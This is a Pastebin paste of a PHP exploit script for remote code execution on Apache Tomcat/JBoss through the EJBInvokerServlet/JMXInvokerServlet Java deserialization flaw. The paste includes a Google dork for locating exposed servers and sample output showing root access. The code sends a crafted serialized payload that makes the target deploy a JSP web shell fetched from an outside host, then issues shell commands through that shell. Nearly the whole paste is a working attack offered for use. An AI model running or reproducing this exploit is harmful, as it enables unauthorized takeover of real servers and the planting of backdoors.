Advertisement
parkdream1

Apache Tomcat/JBoss Remote Code Execution

Oct 5th, 2013
1,036
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.62 KB | None | 0 0
  1. <?php
  2. /*
  3. Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object
  4. Remote Code Execution
  5.  
  6. google dork: inurl:status EJBInvokerServlet
  7.  
  8. this was used successfully on Windows during a penetration test against
  9. McAfee Web Reporter 5.2.1 (tcp port 9111/http) gaining administrative privileges
  10. see: http://www.mcafee.com/it/downloads/downloads.aspx
  11. file tested: webreporter64bit.zip
  12.  
  13. Usage:
  14. C:\PHP>php 9sg_ejb.php 192.168.0.1 id
  15.  
  16. HTTP/1.1 200 OK
  17. Server: Apache-Coyote/1.1
  18. X-Powered-By: Servlet 2.4; JBoss-4.0.5.GA (build: CVSTag=Branch_4_0 date=2006101
  19. 62339)/Tomcat-5.5
  20. Set-Cookie: JSESSIONID=E9EEE1D6AD27D64ED3835C1092C4FC29; Path=/
  21. Content-Type: text/html;charset=ISO-8859-1
  22. Content-Length: 43
  23. Date: Fri, 04 Oct 2013 07:25:48 GMT
  24. Connection: close
  25.  
  26.  
  27. uid=0(root) gid=0(root) groups=0(root)
  28.  
  29. C:\PHP>
  30.  
  31. ~ rgod ~
  32. */
  33.  
  34. $host=$argv[1];
  35. $cmd=$argv[2];
  36. //$port=9111; //mcafee
  37. $port=80;
  38.  
  39. //small jsp shell
  40. //change this if you want, url to the app to be deployed, keep it short
  41. $url="http://retrogod.altervista.org/a.war?";
  42.  
  43.  
  44. $url_len=pack("n",strlen($url));
  45.  
  46. function hex_dump($data, $newline="\n") {
  47. static $from = '';
  48. static $to = '';
  49. static $width = 16; static $pad = '.';
  50. if ($from==='') {
  51. for ($i=0; $i<=0xFF; $i++) {
  52. $from .= chr($i);
  53. $to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;
  54. }
  55. }
  56. $hex = str_split(bin2hex($data), $width*2);
  57. $chars = str_split(strtr($data, $from, $to), $width);
  58. $offset = 0;
  59. foreach ($hex as $i => $line) {
  60. echo sprintf('%6X',$offset).' : '.implode(' ', str_split($line,2)) . ' [' . $chars[$i] . ']' . $newline;
  61. $offset += $width;
  62. }
  63. }
  64.  
  65. $frag_i=
  66. "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". // ....sr.) org.jbos
  67. "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". // s.invoca tion.Mar
  68. "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". // shalledI nvocatio
  69. "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". // n...'A>. ....xppw
  70. "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". // .x..G..S .sr..jav
  71. "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". // a.lang.I nteger..
  72. "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". // .....8.. .I..valu
  73. "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". // exr..jav a.lang.N
  74. "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". // umber... ........
  75. "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". // xp&...sr .$org.jb
  76. "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". // oss.invo cation.M
  77. "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". // arshalle dValue..
  78. "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77";
  79.  
  80. $frag_ii="\x00";
  81.  
  82. $frag_iii=
  83. "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". // .....ur. .[Ljava.
  84. "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". // lang.Obj ect;..X.
  85. "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". // .s)l...x p....sr.
  86. "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". // .javax.m anagemen
  87. "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". // t.Object Name....
  88. "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". // .m.....x pt.!jbos
  89. "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". // s.system :service
  90. "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". // =MainDep loyerxt.
  91. "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". // .deployu q.~.....
  92. "\x01\x74".
  93. $url_len.
  94. $url.
  95. "\x75\x72\x00".
  96. "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". // ur..[ Ljava.la
  97. "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". // ng.Strin g;..V...
  98. "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". // {G...xp. ...t..ja
  99. "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67";
  100.  
  101. $frag_iv=
  102. "\x0d\xd3".
  103. "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". // ..xw.... .sr."org
  104. "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". // .jboss.i nvocatio
  105. "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". // n.Invoca tionKey.
  106. "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". // .r...... ..I..ord
  107. "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". // inalxp.. ..sq.~..
  108. "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". // w....... ..p.W..x
  109. "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". // w.....sq .~......
  110. "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". // sr.#org. jboss.in
  111. "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". // vocation .Invocat
  112. "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". // ionTypeY .:..+|..
  113. "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". // ..I..ord inalxp..
  114. "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". // ..sq.~.. ....pt..
  115. "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". // JMX_OBJE CT_NAMEs
  116. "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". // r..javax .managem
  117. "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". // ent.Obje ctName..
  118. "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". // ...m.... .xpt.!jb
  119. "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". // oss.syst em:servi
  120. "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". // ce=MainD eployerx
  121. "\x78"; // x
  122.  
  123. $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv;
  124.  
  125.  
  126. //$pk=""POST /invoker/JMXInvokerServlet/ HTTP/1.1\r\n". //the same ...
  127.  
  128. $pk="POST /invoker/EJBInvokerServlet/ HTTP/1.1\r\n".
  129. "ContentType: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation\r\n".
  130. "Accept-Encoding: x-gzip,x-deflate,gzip,deflate\r\n".
  131. "User-Agent: Java/1.6.0_21\r\n".
  132. "Host: ".$host.":".$port."\r\n".
  133. "Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\n".
  134. "Connection: keep-alive\r\n".
  135. "Content-type: application/x-www-form-urlencoded\r\n".
  136. "Content-Length: ".strlen($data)."\r\n\r\n".
  137. $data;
  138. echo hex_dump($pk)."\n";
  139. $fp=fsockopen($host,$port,$e,$err,3);
  140. fputs($fp,$pk);
  141. $out=fread($fp,8192);
  142. fclose($fp);
  143. echo hex_dump($out)."\n";
  144.  
  145. sleep(5);
  146.  
  147. $pk="GET /a/pwn.jsp?cmd=".urlencode($cmd)." HTTP/1.0\r\n".
  148. "Host: ".$host.":".$port."\r\n".
  149. "Connection: Close\r\n\r\n";
  150.  
  151. echo hex_dump($pk)."\n";
  152. $fp=fsockopen($host,$port,$e,$err,3);
  153. fputs($fp,$pk);
  154. $out="";
  155. while (!feof($fp)) {
  156. $out.=fread($fp,8192);
  157. }
  158. fclose($fp);
  159. echo $out;
  160. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement